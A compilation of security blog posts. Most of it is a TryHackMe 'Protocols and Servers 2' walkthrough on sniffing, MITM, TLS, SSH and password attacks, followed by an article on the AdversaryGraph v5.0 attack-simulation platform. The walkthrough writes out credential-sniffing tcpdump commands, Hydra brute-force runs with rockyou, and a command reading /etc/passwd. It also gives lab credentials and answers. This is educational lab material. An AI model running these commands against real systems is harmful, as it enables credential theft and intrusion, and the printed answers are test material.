All testing was conducted in an isolated, locally-hosted environment using a publicly available plugin release. No live or third-party systems were accessed at any point during this research. The plugin name and exact route are redacted pending completion of coordinated disclosure.

I Found an Unauthenticated Attachment Disclosure Bug in a WordPress Support Plugin — and a… was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.

Protocols and Servers 2 TryHackMe Writeup

Sun, 05 Jul 2026 08:39:11 +0200

Somewhere on a network right now, a username and password are crossing the wire in plain, readable text — and someone could be quietly reading them.

No exploit. No zero-day. Just a protocol that was never built to keep a secret.

That’s the uncomfortable little truth this room is built around. So let’s pull it apart.

Most of the internet’s classic protocols were designed in a more trusting era. It was a time when the people sharing a network mostly knew each other, and “someone might be listening” wasn’t the default assumption.

Those protocols still run everywhere. And many of them still send your credentials across the wire in plain text.

Protocols and Servers 2 on TryHackMe is about exactly that gap, and what closes it. It walks through three foundational attacks against network protocols, then the defenses that neutralize each one:

Sniffing — quietly reading traffic off the wire
Man-in-the-Middle (MITM) — sitting between two parties and tampering
Password attacks — guessing or cracking the credentials themselves

This is a writeup of the whole room: the concepts in plain language, the commands that matter, and the task answers explained. If you’re working through it yourself, follow along.

One idea ties the entire room together: cleartext protocols are insecure by design. Everything else is a consequence of that single fact.

Part 1 — Sniffing Attacks

A sniffing attack is the simplest idea in the room: use a packet-capture tool to grab traffic as it crosses the network, then read it.

If a protocol talks in cleartext, anyone positioned to see that traffic can pull out private messages or login credentials. Nothing is encrypted before it leaves your machine.

"Isn't everything encrypted now?"

It’s tempting to think sniffing is a solved, retro problem now that TLS is everywhere. It isn’t. It stays dangerous wherever cleartext still lives:

Internal corporate networks, where machine-to-machine traffic is often left unencrypted
Legacy systems like old mail servers, embedded devices, and industrial control systems
Misconfigured services where TLS is available but not strictly enforced
IoT devices that habitually use plain protocols
Wireless networks, where anyone in range can listen
After a MITM attack that has successfully downgraded or stripped encryption

In real internal pentests and red-team work, sniffing is still one of the most reliable ways to harvest credentials and learn how systems actually talk to each other.

The tools

Wireshark

Capturing packets needs a network card and the right privileges (root on Linux, administrator on Windows). Here are the staples:

tcpdump — lightweight open-source CLI capture tool, preinstalled on most Linux systems.
Wireshark — the GUI standard, with powerful filtering, protocol dissection, and visualization.
tshark — Wireshark’s command-line sibling, great for scripting.

Worth knowing too: tcpflow (reassembles TCP streams), ngrep (pattern-matching in traffic), and NetworkMiner (extracts files from captures).

Specialized credential-grabbers exist, but tcpdump and Wireshark can do the job with a little effort.

Capturing POP3 credentials with tcpdump

The classic demo: a user checks email over POP3 (port 110, cleartext).

With access to the traffic — via a wiretap, a switch’s port mirroring, ARP spoofing, a compromised host, or a successful MITM — you run this command:

sudo tcpdump port 110 -A

Breaking that down:

sudo — packet capture needs root privileges.
port 110 — only keep traffic to or from the POP3 server.
-A — print packet contents as ASCII, so cleartext is human-readable.

In the capture, the login arrives across two packets and reads straight out:

… USER frank … PASS D2xc9CgD

Username frank, password D2xc9CgD, handed over in plain sight.

Wireshark gets you there even faster: type “pop” in the display filter, and only POP3 traffic remains, credentials included.

Handy tcpdump filters

+------------------------------------+-----------------------------------------------------------+
| Command                            | Purpose                                                   |
+------------------------------------+-----------------------------------------------------------+
| sudo tcpdump port 110 -A           | Capture traffic on port 110 (POP3) in readable ASCII      |
| sudo tcpdump host 10.20.30.148 -A  | Capture ASCII traffic to/from a specific host IP          |
| sudo tcpdump port 80 -A            | Capture HTTP traffic (credentials in POST data)           |
| sudo tcpdump port 21 -A            | Capture FTP traffic (cleartext credentials)               |
| sudo tcpdump -w capture.pcap       | Save raw network packets to a file for later analysis     |
| tcpdump -r capture.pcap -A         | Read and display a saved capture file in ASCII text       |
+------------------------------------+-----------------------------------------------------------+

Mitigation

Any cleartext protocol is exposed. The only requirement for the attack is a vantage point between the two parties or on the same network segment.

The core fix is encryption. This means wrapping the protocol in TLS (like HTTP to HTTPS, FTP to FTPS, or POP3 to POP3S) and replacing Telnet with SSH.

Layered on top of that:

Network segmentation to limit who can see whose traffic
Encrypted VLANs or tunnels for sensitive internal traffic
802.1X port-based authentication so unknown devices can’t connect
Zero-trust thinking: treat every network as hostile and encrypt everything
Monitoring for ARP spoofing and other redirection to catch sniffing in progress

Question: How do you capture only Telnet traffic with tcpdump? Answer: Telnet runs on port 23, so you add “port 23”.

Question: What is the simplest Wireshark display filter for IMAP? Answer: “imap”.

Part 2 — Man-in-the-Middle (MITM) Attacks

Man-in-the-Middle Attack

Sniffing is passive listening. A MITM attack is active.

The attacker slips between two parties (A and B) so that A thinks it’s talking to B, while everything actually flows through the attacker. They can read and completely alter the data.

The room’s example says it best: A asks to transfer $20, the attacker rewrites the amount mid-flight, and B acts on the tampered message.

Image 1 from the room

It works whenever the protocol doesn’t verify the authenticity and integrity of each message.

Getting into the middle

To sit between two parties, an attacker has to redirect traffic through their own machine. Common routes include:

ARP spoofing — on a local network, the attacker sends forged ARP messages tying their own MAC address to the gateway’s IP, routing traffic directly to them.
DNS spoofing — feeding false DNS answers to send victims to attacker-controlled servers.
Rogue access points — fake Wi-Fi setups (like “Airport_WiFi_Free”) that route every connected victim’s traffic through the attacker.
BGP hijacking — announcing false routes at the internet’s routing layer to reroute traffic for whole organizations or regions.

The tooling

Bettercap — the modern, actively maintained successor to Ettercap. Handles ARP/DNS spoofing, HTTP/HTTPS proxying, and is modular.
Ettercap — the classic LAN MITM tool. It still works, but Bettercap is generally preferred today.
mitmproxy — an interactive HTTPS proxy used for inspecting and modifying web traffic on the fly.
Responder — Windows-focused. Abuses fallback name-resolution protocols (LLMNR, NBT-NS) that kick in when DNS fails, answering with its own IP to capture authentication hashes. A staple of internal Active Directory pentests.

MITM against encrypted traffic

Encryption raises the bar, but it isn’t a magic shield:

SSL stripping — quietly downgrade the victim’s connection to plain HTTP while the attacker keeps an HTTPS link to the real server. This is easy to miss if the user never typed “https://” or didn’t check for the padlock icon.
Fake certificates — present your own certificate and run two separate encrypted legs. This works if the victim blindly clicks through the browser warning or if a Certificate Authority is compromised.
Compromised or rogue CAs — the most serious case. If an attacker controls a trusted CA, they can mint valid-looking certificates for absolutely any domain.

Modern defenses

A decade of security hardening makes MITM much harder now:

HTTPS by default (browsers flag plain HTTP as “Not Secure”)
HSTS (forces HTTPS and blocks stripping attacks)
Certificate Transparency (public, auditable logs of all issued certificates)
Certificate pinning (apps accept only specific, hardcoded keys)
DANE (publishing certificate info in DNSSEC-signed DNS)

MITM still succeeds when users ignore certificate warnings, apps validate keys poorly, the target speaks cleartext, or legacy gear lacks modern features.

The fundamental fix remains the same: cryptography. You need authentication plus encryption/signing, which is exactly what properly implemented TLS provides.

Question 1: How many interfaces does Ettercap offer?

Answer: 3

Question 2: How many ways can you invoke Bettercap?

Answer: 3

Part 3 — TLS: The Fix for Both Attacks

Both sniffing and MITM share one cure: TLS (Transport Layer Security). This part of the room is the solution chapter.

A quick history

SSL appeared in 1994 via Netscape, with SSL 3.0 dropping in 1996 as the web grew into shopping and payments. TLS succeeded it in 1999.

Where things stand now:

SSL 2.0 and 3.0 are deprecated and highly insecure. Never use them.
TLS 1.0 and 1.1 were officially deprecated in 2021 and dropped by major browsers.
TLS 1.2 (from 2008) is still widely used and secure when configured with modern ciphers.
TLS 1.3 (from 2018) is the current standard. It features fewer algorithms, a faster handshake, and forward secrecy by default.

People still say “SSL certificate” out of habit, but in practice, everything modern uses TLS.

Where TLS sits

Image 2 from the room

Cleartext application-layer protocols send data entirely in the open.

TLS adds encryption just below the application protocol, wrapping its data before it hits the network card. On the OSI model, it lives right between the transport and application layers.

Upgrading protocols with TLS

HTTP (Port 80) upgrades to HTTPS (Port 443)
FTP (Port 21) upgrades to FTPS (Port 990)
SMTP (Port 25) upgrades to SMTPS (Port 465)
POP3 (Port 110) upgrades to POP3S (Port 995)
IMAP (Port 143) upgrades to IMAPS (Port 993)

It’s not just web and mail. DNS can be wrapped too via DoT (DNS over TLS) on port 853, or DoH (DNS over HTTPS) on port 443. Both stop eavesdroppers from seeing which sites you look up.

Implicit TLS vs STARTTLS

Implicit TLS uses a dedicated port that is fully encrypted from the very first byte (like 443 or 993).
STARTTLS connects in cleartext on the normal port, then issues a “STARTTLS” command to upgrade the connection in place. This is common for email setup.

Both offer encryption, but implicit TLS is highly preferred.

A MITM attacker can easily strip the STARTTLS command during negotiation and force the session to stay in cleartext if the client isn’t configured to require it.

How HTTPS works

Plain HTTP takes two steps: open a TCP connection, then send requests. HTTPS inserts a step in between:

Establish a standard TCP connection.
Establish a TLS connection (the handshake).
Send the HTTP requests, which are now fully encrypted.

A simplified TLS 1.2 handshake goes like this:

ClientHello (client offers its TLS versions and cipher suites) → ServerHello (server picks the parameters and sends its certificate) → Key Exchange (both derive a shared secret) → Finished (both confirm and switch to encrypted communication):

ClientHello → ServerHello → Key Exchange → Finished

Certificates and trust

Certificate Authority (CA)

HTTPS leans on certificates signed by trusted Certificate Authorities (CAs). Your browser expects a valid certificate from a trusted CA, which proves you’re talking to the real server and blocks easy MITM attempts.

A certificate shows who it was issued to, who issued it, and its validity period. An expired certificate should never be trusted.

The modern ecosystem made this nearly universal thanks to automated platforms like Let’s Encrypt, which pushed global HTTPS traffic past 95%.

Question: What is the three-letter acronym for the DNS protocol that uses TLS?

Answer: DoT (DNS over TLS)

Part 4 — SSH: Secure Remote Administration

SSH

SSH (Secure Shell) is the secure replacement for Telnet. It is the universal way to administer servers, network gear, and cloud infrastructure.

The “S” means you can confirm the server’s identity, your messages are encrypted for the intended recipient only, and any data tampering is instantly detectable.

It handles confidentiality and integrity seamlessly over port 22.

Authentication methods

Password — The simplest method. The password rides the encrypted channel, but weak choices can still fall to brute-force attacks.
Public key (recommended) — A private key stays on your machine, while the public key goes on the server. The server challenges you to prove you hold the private key without ever transmitting it.
Certificate-based — An SSH CA signs user and host keys. This scales incredibly well because you don’t have to manually distribute public keys to every single server.
MFA — Combines a traditional key or password with a one-time code for high-security environments.

Connecting

To connect, you run:

ssh mark@MACHINE_IP

Enter the password or let your key authenticate, and you are on the remote terminal. Every single command you send runs over an encrypted channel.

Question: Connect as mark (password XBtc49AB) and find the kernel release with uname -r.

Commands: ssh mark@MACHINE_IP uname -r

Answer: 5.15.0–119-generic

Host key verification

On your very first connection, SSH shows the server’s key fingerprint and asks if you want to continue.

Ideally, you verify this fingerprint through an admin or config management before typing “yes”. It is then saved in your local known_hosts file.

If that key ever changes unexpectedly in the future, SSH throws a massive warning, a major indicator of a potential MITM attack or a reinstalled server.

Generating keys

To create a new key pair, run:

ssh-keygen -t ed25519 -C "your_email@example.com"

The private key stays strictly on your machine and should be passphrase-protected. The public key (.pub) is safe to share. You can push it to a remote server easily using:

ssh-copy-id mark@MACHINE_IP

Useful options

+--------------------------------------------+------------------------------------------------------------+
| Command                                    | Purpose                                                    |
+--------------------------------------------+------------------------------------------------------------+
| ssh -p 2222 mark@MACHINE_IP                | Connect to a remote server running on a non-standard port   |
| ssh -i ~/.ssh/custom_key mark@MACHINE_IP   | Specify a specific private key file to use for login       |
| ssh -J bastion.example.com mark@internal   | Jump through a secure bastion host to reach an internal IP |
| ssh -L 8080:localhost:80 mark@MACHINE_IP   | Set up a local port forward to tunnel traffic through SSH  |
| ssh -D 9050 mark@MACHINE_IP                | Create a dynamic SOCKS proxy forward for traffic routing   |
| ssh mark@MACHINE_IP "cat /etc/passwd"      | Run a single, one-off command without opening a full shell |
+--------------------------------------------+------------------------------------------------------------+

Secure file transfer

SFTP — Interactive, FTP-like file management running completely over SSH. This is the recommended choice today.
SCP — Simple file copies over SSH. This is now deprecated by OpenSSH in favor of SFTP, though it still works on most systems.
rsync over SSH — The best option for large or repeated transfers because it only copies the specific parts of files that changed.

To copy files via SCP:

scp mark@MACHINE_IP:/home/mark/archive.tar.gz ~/ (remote to local)

scp backup.tar.bz2 mark@MACHINE_IP:/home/mark/ (local to remote)

Quick clarifier:

SFTP runs over SSH (port 22).

FTPS is FTP-over-TLS (port 990).

They are entirely different protocols despite having similar names.

Question: Download book.txt from the remote system; what download size did scp display in KB?

Command: scp mark@MACHINE_IP:/home/mark/book.txt ~/

Answer: 415

Hardening SSH

To protect a server, you can modify its config file (/etc/ssh/sshd_config):

Set PasswordAuthentication to “no” once public keys are established.
Set PermitRootLogin to “no” to force users to log in with regular accounts first.
Use AllowUsers or AllowGroups to create an explicit access whitelist.
Change the default port to reduce automated log noise.
Deploy fail2ban to automatically block IPs with repeated failed login attempts.

Part 5 — Password Attacks

Even with a network fully encrypted, authentication remains a primary target. Authentication is simply the act of proving your identity, like entering a password to access a service.

The three factors:

Something you know — a password or PIN
Something you have — a phone, hardware security key, or smart card
Something you are — a fingerprint or facial scan

This section focuses entirely on attacking “something you know.”

Why weak passwords persist

Massive historic breaches show that old habits die hard.

The most common passwords found in modern breaches still include variations like 123456, password, qwerty, Password1, and seasonal choices like Summer2024.

Because people constantly reuse passwords across multiple sites, a single leak frequently gives attackers access to entirely unrelated corporate or personal accounts.

Types of attacks

Guessing — using personal info like a target’s pet, birth year, or favorite sports team harvested from social media.
Dictionary— automatically trying lists of real words and common variations.
Brute force — systematically trying every possible characters combination. This is exhaustive, which is why password length matters so much.
Credential stuffing — taking leaked username/password pairs from old breaches and automatically testing them against other web services.
Password spraying — testing one or two incredibly common passwords against a massive list of user accounts to dodge lockout policies.
Hybrid — combining dictionary words with systematic patterns, like capitalizing the first letter and adding a year to the end.

Wordlists

The classic go-to wordlist is RockYou, located on the TryHackMe AttackBox at:

/usr/share/wordlists/rockyou.txt

Beyond that, security professionals use collections like SecLists, CrackStation lists, or custom-generated lists tailored specifically to the target’s language, region, or industry habits.

THC Hydra

Hydra is a fast network login cracker that throws wordlists at live services like FTP, POP3, IMAP, SSH, and HTTP.

The basic syntax looks like this:

hydra -l username -P wordlist.txt server service

-l specifies a single username (-L for a text file of names)
-P specifies a password wordlist (-p for a single password)
server is the target IP or hostname
service is the protocol you are targeting

Examples:

hydra -l mark -P /usr/share/wordlists/rockyou.txt MACHINE_IP ftp
hydra -l frank -P /usr/share/wordlists/rockyou.txt MACHINE_IP ssh
hydra -l lazie -P /usr/share/wordlists/rockyou.txt MACHINE_IP imap

Handy options include -s to target a non-default port, -vV for detailed verbosity, -t to adjust parallel attack threads, and -f to immediately stop execution when the first valid password is found.

Other tools

Alternative online crackers include Medusa and Ncrack.

For Windows and Active Directory environments, tools like NetExec excel at spraying credentials over SMB and LDAP.

If you manage to dump password hashes from a database, offline tools like Hashcat or John the Ripper are used because they can guess millions of combinations per second without worrying about network lag or lockouts.

Mitigation

Defending against password attacks requires a modern approach to identity management:

Enforce length-first password policies based on NIST guidelines. Favor overall length over complex character rotation, and check new passwords against lists of known compromised credentials.
Implement strict account lockout or throttling mechanisms to kill automated automated guessing, while remaining aware of password spraying patterns.
Use CAPTCHAs to prevent basic bot execution on login forms.
Deploy Multi-Factor Authentication (MFA) across all external endpoints.
Transition toward passwordless ecosystems, utilizing passkeys (FIDO2/WebAuthn), hardware keys, or verified magic links.

Question: One email account is lazie; what password accesses the IMAP service?

Command: hydra -l lazie -P /usr/share/wordlists/rockyou.txt MACHINE_IP imap

Answer: butterfly

Key Takeaways

The fundamental rule of network security is simple:

Cleartext protocols are inherently insecure.

Anything sent without encryption can be effortlessly intercepted by sniffing or manipulated via a Man-in-the-Middle attack.

The security path forward is uniform across all services:

Use HTTPS instead of HTTP
Use SSH instead of Telnet
Use SFTP or FTPS instead of basic FTP
Use IMAPS, POP3S, and SMTPS instead of their legacy cleartext variants

Even when a connection is perfectly encrypted, weak passwords remain a glaring vulnerability.

Secure the protocol with robust encryption, then secure the account with long passwords, rate limiting, and multi-factor authentication.

Quick Port Reference Guide

+-------------------+------+----------------+
| Protocol          | Port | Security       |
+-------------------+------+----------------+
| FTP               | 21   | Cleartext      |
| FTPS              | 990  | TLS (implicit) |
| HTTP              | 80   | Cleartext      |
| HTTPS             | 443  | TLS (implicit) |
| IMAP              | 143  | Cleartext      |
| IMAPS             | 993  | TLS (implicit) |
| POP3              | 110  | Cleartext      |
| POP3S             | 995  | TLS (implicit) |
| SMTP              | 25   | Cleartext      |
| SMTP submission   | 587  | STARTTLS       |
| SMTPS             | 465  | TLS (implicit) |
| SSH / SFTP        | 22   | Encrypted (SSH)|
| Telnet            | 23   | Cleartext      |
+-------------------+------+----------------+

Room: Protocols and Servers 2 — TryHackMe (https://tryhackme.com/room/protocolsandservers2). This writeup is for educational purposes; only test systems you’re authorized to. Have fun!

This article was written by Pop123 as a walkthrough for the TryHackMe lab. I am as always open to further discussing the topic.

Protocols and Servers 2 TryHackMe Writeup was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.

AdversaryGraph v5.0: From CTI Mapping to Attack Simulation and SIEM Validation

Sun, 05 Jul 2026 08:22:34 +0200

A self-hosted CTI-to-detection workbench for ATT&CK mapping, IOC investigation, malware analysis, asset attack-surface mapping, attack simulation, and detection engineering validation.

Introduction

AdversaryGraph started as a practical question:

How can a security team move from threat intelligence to detection engineering without losing the evidence trail?

Most CTI workflows produce useful text, but the next steps are often manual. An analyst reads a report, extracts behaviors, maps them to MITRE ATT&CK, compares them with known actors, enriches IOCs, writes detection ideas, and then asks a detection engineer to validate whether telemetry actually exists in the SIEM.

That gap is where a lot of defensive work slows down.

AdversaryGraph v5.0 is my attempt to make that workflow more operational. It is not only a CTI visualization project. It is a self-hosted analyst workbench that connects:

Report and telemetry analysis.
ATT&CK technique mapping.
Group, campaign, and report similarity.
IOC enrichment and investigation.
Malware analysis workflows.
Asset attack-surface mapping.
Attack simulation.
SIEM forwarding and validation.
Analyst-ready documentation and reports.

The main addition in release 5.0 is Attack Simulation: a controlled ATT&CK validation workspace where an analyst can select a technique, run approved lab scenarios, inspect target-side telemetry, forward logs to a SIEM collector, and use an AI assistant to generate coherent multi-phase attack-chain drills.

This article explains what is new in v5.0, how the architecture works, what the platform can do today, and how I expect analysts and detection engineers to use it.

Project links:

Project landing page: https://1200km.com/adversarygraph/
Documentation: https://1200km.com/adversarygraph-docs/
GitHub: https://github.com/anpa1200/adversarygraph
Release v5.0.0: https://github.com/anpa1200/adversarygraph/releases/tag/v5.0.0

The Problem: CTI Often Stops Before Validation

A typical CTI-to-detection workflow looks like this:

Read an external report, internal incident report, malware note, or intelligence summary.
Extract behaviors: PowerShell, scheduled tasks, credential dumping, public-facing application exploitation, exfiltration, persistence, discovery, and so on.
Map those behaviors to MITRE ATT&CK.
Compare them with known actor and campaign profiles.
Identify relevant IOCs.
Write hunting hypotheses and detection logic.
Ask whether the SIEM actually receives the required telemetry.
Test rules with sample logs, lab traffic, or purple-team activity.

The hard part is not just mapping. The hard part is preserving the chain from evidence to technique to telemetry to detection validation.

If the SIEM parser is broken, the detection will not fire.

If the event structure is wrong, the rule will not match.

If the test event is too synthetic, the validation result is misleading.

If the ATT&CK mapping is not tied back to evidence, the report becomes hard to defend.

AdversaryGraph v5.0 focuses on this full chain.

What AdversaryGraph Is

AdversaryGraph is a self-hosted CTI-to-detection platform. It combines a public research interface with a Docker-based private platform.

The public site is useful for exploration: ATT&CK matrix navigation, group research, public technique context, and project documentation.

The self-hosted platform is where private work belongs: AI-assisted report analysis, stored investigations, IOC enrichment, malware-analysis workflows, asset inventories, attack simulation, SIEM validation, and API-driven workflows.

The high-level workflow is:

Ingest reports, logs, IOCs, malware findings, asset inventory, or feed data.
Map behaviors to ATT&CK with evidence and confidence.
Enrich IOCs, actors, campaigns, malware families, and references.
Validate coverage using lab telemetry and SIEM forwarding.
Report findings in analyst-ready form.

Core Capabilities Before v5.0

Release 5.0 builds on a broader platform. The major existing modules are still part of the release and matter because Attack Simulation is designed to connect to them.

All capabilities here:

Platform Capabilities | AdversaryGraph Documentation - CTI-to-Detection Workbench | 1200km

AI-Assisted ATT&CK Mapping

Analysts can paste text or upload reports and ask the configured LLM provider to extract ATT&CK candidates. The platform supports multiple provider options, including Claude, OpenAI, Gemini, MiniMax, and local OpenAI-compatible gateways.

The important part is not simply “ask AI for TTPs.” The useful part is that mappings are treated as analyst-assistance data:

Techniques are shown with evidence.
Confidence is visible.
Output can be reviewed before operational use.
Extracted TTPs can be pushed into the Navigator.
Results can be compared with groups, campaigns, and stored reports.

ATT&CK Navigator and Group Context

The Navigator is the central workspace for technique review. It supports Enterprise, Mobile, ICS, and ATLAS-style workflows. Analysts can search techniques, build layers, overlay group context, import/export layers, and move selected TTPs into comparison and reporting workflows.

This matters because many teams already think in ATT&CK, but their toolchain is split between reports, spreadsheets, diagrams, SIEM rules, and ticketing systems. AdversaryGraph tries to keep the matrix connected to the rest of the investigation.

Group, Campaign, and Report Similarity

AdversaryGraph uses TTP overlap as a way to generate hypotheses. It compares selected behavior against ingested group profiles, campaigns, and stored report libraries.

This is intentionally framed as similarity, not attribution.

TTP overlap can help prioritize research. It can suggest which actor profiles or campaigns deserve review. It is not proof that a specific actor is responsible for an intrusion.

IOC Investigation

The IOC workflow lets analysts pivot from observable data into reputation and relationship context. IPs, domains, URLs, hashes, and other observables can be investigated with feed context and ATT&CK leads.

Malware Analysis

The Malware Analysis module connects static triage, hash checks, unpacking, strings, decompilation/debug views, runtime-gated analysis, and AI summaries back to the CTI workflow.

The point is not to replace a reverse engineer. The point is to help analysts preserve malware-derived evidence and map it into ATT&CK, IOCs, and investigation outputs.

Asset Attack-Surface Mapping

AdversaryGraph can ingest asset inventory input, normalize assets, score exposure, propose likely entry points, and map asset-driven ATT&CK candidates.

This is useful when the question is not “what did the attacker do?” but “what could an attacker realistically try against my exposed environment?”

Examples:

Public web applications.
VPN and identity services.
Exposed admin panels.
Cloud assets.
Remote management services.
High-value internal systems.
Scanner and CMDB exports.

What Is New in v5.0

The headline feature is Attack Simulation.

Attack Simulation is designed for defensive validation and detection engineering. It lets analysts work from a TTP-first interface, run safe simulations, inspect telemetry, and forward events to a SIEM.

This is not an exploitation framework. It does not run malware. It does not execute arbitrary commands against arbitrary user targets. It is a controlled validation workspace for authorized lab scenarios and source-shaped telemetry drills.

The v5.0 release adds:

A new Attack Simulation workspace.
ATT&CK-style matrix selection for runnable simulations.
Dedicated configuration pages per selected TTP.
Built-in lab web target for web-focused scenarios.
Target-side real-time log viewing.
SIEM forwarding to HTTP(S) collectors.
Saved recent SIEM destinations.
AI Attack Assistant.
“Challenge Me” mode.
Complicated multi-source attack-chain scenarios.
25 named coherent scenario templates.
Attack-chain graph.
Explain Attack panel.
Source-shaped Windows, Sysmon, EDR, DNS, proxy, firewall, web, and WAF event generation for SIEM parser and rule validation.

TTP-First Simulation Workflow

The workflow starts with the ATT&CK matrix.

Runnable simulation cells are visible directly in the matrix, and related TTP pages can link back into the simulation workflow. This keeps the analyst oriented around ATT&CK instead of hiding simulations behind unrelated forms.

The basic flow is:

Open Attack Simulation.
Choose a TTP from the matrix.
Open the dedicated simulation page.
Review what the scenario does.
Review telemetry source and event structure.
Run the lab scenario or AI-assisted telemetry drill.
Inspect logs in real time.
Forward selected logs to the SIEM.
Confirm whether detections fired.
Record validation gaps.

Each scenario explains:

What happens.
What adversary behavior is represented.
Which system emits telemetry.
Which event structures are expected.
What the detection should focus on.
Which telemetry is production-like and which is a lab canary.
What the validation gaps are.

That explanation is important. A simulation without context is just noise. A simulation with context becomes a detection-engineering exercise.

Real Lab Telemetry for Web Scenarios

One major design goal was to avoid fake “log generation” for web scenarios where a real lab target can safely produce logs.

For web-focused simulations, the Docker deployment includes an attack-lab-web target. The AdversaryGraph API sends real HTTP requests to that lab web server over the Docker network. The target server writes its own logs.

The analyst can then inspect real target-side telemetry such as:

NGINX access logs.
NGINX error logs.
Application authentication logs.
WAF/security-style logs.
Structured web JSONL telemetry.
Run-specific JSONL logs.
Merged attacked-server events.

This is different from simply printing a row that looks like an access log. The request is sent to the lab server, and the server emits the log.

Supported web-focused scenarios include:

HTTP and TLS service fingerprinting.
Public application probing.
Path discovery.
Sensitive file and configuration path access.
Directory traversal canaries.
SQL injection-shaped requests.
XSS-shaped requests.
SSRF-shaped requests.
Command-injection-shaped requests.
Web-shell access canaries.
Upload and download scenarios.
Failed-login flows.
Brute-force patterns.
Password spray.
User enumeration.
Beacon-like web traffic.
Exfiltration-shaped traffic.

The key phrase is “attack-shaped canary.” The goal is to generate realistic defensive telemetry without exploiting a real target or executing harmful payloads.

SIEM Forwarding

Validation is incomplete if the event never reaches the SIEM.

The v5.0 SIEM forwarding panel sends selected Attack Simulation telemetry to HTTP(S) collectors. This can be used with Logstash HTTP input, Splunk HEC-style collectors, XpoLog/Logeye listeners, or custom webhook receivers.

Supported controls include:

Full URL or raw host:port/path destination.
Direct destination mode.
Docker host gateway routing.
Automatic route selection.
Raw original line per request.
JSON event per request.
JSON Lines.
Batch envelope.
No auth.
Bearer token auth.
Token auth.
Basic auth.
Custom token header.
Source selection: access, auth, endpoint, WAF/security, error, structured JSONL, run JSONL, or all attacked-server events.

The platform also keeps the last 10 non-secret SIEM destinations for reuse. This is useful during repeated parser testing, rule tuning, and dashboard validation.

Credentials are not stored as part of the saved destination history. The saved address is intended to reduce typing friction, not to become a secret store.

AI Attack Assistant

The AI Attack Assistant is one of the main additions in v5.0.

It helps generate detection-engineering drills by building correlated telemetry stories around selected behavior.

The assistant supports three modes:

Selected TTP: generate a focused validation flow around the technique currently selected in the Attack Simulation page.
Threat actor: generate a scenario inspired by a threat actor’s known behavior and ATT&CK profile.
Challenge Me: generate a blind multi-phase detection challenge for the analyst.

There is also a Complicated attack option. When enabled, the assistant builds longer multi-source flows across telemetry types such as:

Windows Security Event Log.
Sysmon.
EDR process and file telemetry.
DNS logs.
Proxy logs.
Firewall traffic logs.
Web access logs.
WAF/security logs.
Authentication logs.

The goal is not to normalize everything into one generic schema. For complicated scenarios, the assistant should preserve source/vendor-shaped event patterns so the SIEM parser and rule logic are tested more realistically.

Coherent Kill Chains, Not Random Events

A detection drill should not be a random list of suspicious events.

In v5.0, complicated scenarios are built as coherent attack chains. The chain has ordered phases, each phase has a reason, and each phase emits events that should correlate with the surrounding activity.

For example, a password-spray-to-foothold scenario may include:

Username enumeration.
Multiple failed authentication attempts.
One successful logon after failures.
Endpoint discovery from the authenticated host.
Suspicious tool transfer.
Persistence or lateral discovery.

That is much more useful than a single failed-login event.

The Attack Chain Graph makes this visible.

Each phase can show:

Phase number.
ATT&CK technique.
Telemetry source.
Event format.
Event count.
Detection goal.
Supporting tags.

This helps the analyst understand whether the generated activity is a plausible kill chain or just a bag of indicators.

Explain Attack

When “Challenge Me” or a complex AI-generated scenario is used, the platform includes an Explain Attack action.

This panel explains:

What the scenario is trying to simulate.
Why each phase appears in the chain.
Which telemetry sources matter.
What the analyst should search for.
What detections should fire.
Which false positives or tuning points should be considered.
What success criteria should be used.

This is useful for training and validation. It turns generated events into an exercise that a SOC analyst, detection engineer, or CTI analyst can actually follow.

Named Scenario Library

Release 5.0 includes a library of named coherent scenarios.

Examples include:

Web App to Endpoint Compromise.
Password Spray to Valid Account Foothold.
SQL Injection to Data Theft.
Recon to Web Shell Persistence.
Valid Account to LSASS Access.
Password Spray to Exfiltration.
XSS Canary to Session Abuse.
SSRF Metadata Probe to C2.
Ransomware Precursor Chain.
Living-off-the-Land Transfer and Execution.
Internal Discovery After Foothold.
Web Enumeration to Password Spray.
Public App Exploit to Persistence.
Credential Dump to Cloud Upload.
Signed Binary Proxy to C2.
FIN7-style web, identity, and persistence flow.
APT29-style identity and PowerShell flow.
Lazarus-style delivery and exfiltration flow.
Noisy red-team drill.
Stealthy low-volume intrusion chain.
WAF bypass retry chain.
Service account abuse.
External recon to credential access.
C2 telemetry validation.
Persistence control validation.

These are not meant to prove that a real actor attacked you. They are templates for detection validation and training. They help answer questions like:

Does my SIEM parse this source?
Does my correlation rule see the sequence?
Does the detection alert only on one event or on the chain?
Can analysts reconstruct the story from logs?
Which telemetry source is missing?
Where do false positives appear?

Safety Boundaries

Attack Simulation must be safe by design.

The v5.0 module follows several boundaries:

It does not execute malware.
It does not run arbitrary commands.
It does not exploit arbitrary external targets.
Web simulation traffic is limited to predefined benign canaries against the local lab target.
SIEM forwarding sends generated Attack Simulation telemetry.
Unsafe URL schemes and metadata/link-local destinations are blocked.
Credentials used for forwarding are used only for the current request and are not stored.

This matters because the target user is a defender. The feature is built for detection engineering, parser validation, SOC drills, and authorized lab workflows.

How This Fits Detection Engineering

Detection engineering is not only writing rules. It is a lifecycle:

Understand the adversary behavior.
Map it to ATT&CK or another behavior model.
Identify required telemetry.
Confirm that telemetry exists.
Confirm that parsing works.
Write detection logic.
Test the logic with realistic events.
Tune false positives.
Document assumptions and gaps.
Re-test when infrastructure or parsers change.

AdversaryGraph v5.0 tries to support this lifecycle directly.

The CTI modules help with steps 1 and 2.

IOC and malware modules help enrich the investigation context.

Asset attack-surface mapping helps identify relevant entry points.

Attack Simulation helps with steps 3 through 8.

Reports and docs help with steps 9 and 10.

Architecture Overview

The self-hosted platform is built around a browser frontend and API backend.

At a high level:

Frontend: React/Vite user interface.
Backend: FastAPI service.
Database: PostgreSQL for stored investigations and platform data.
Background jobs: Redis/Celery where needed.
ATT&CK data: synchronized from MITRE sources.
AI providers: operator-configured providers such as Claude, OpenAI, Gemini, MiniMax, or local OpenAI-compatible services.
Malware workflow: MalwareGraph-backed analysis components.
Attack lab: Docker-based target services for controlled telemetry generation.
SIEM forwarding: HTTP(S) delivery to configured collectors.

For the v5.0 web simulation flow, the important architectural distinction is:

AdversaryGraph does not simply invent an access log line for the UI. It sends real HTTP requests to the lab web target, and the lab web target emits server-side logs.

For AI-generated complicated scenarios, the goal is different. The assistant generates source-shaped telemetry for SIEM parser and detection validation. This is not proof of compromise, and it is not a replacement for live lab execution. It is a defensive validation tool for testing ingestion, parsers, correlation, dashboards, and analyst workflows.

Example Use Case: Password Spray Detection

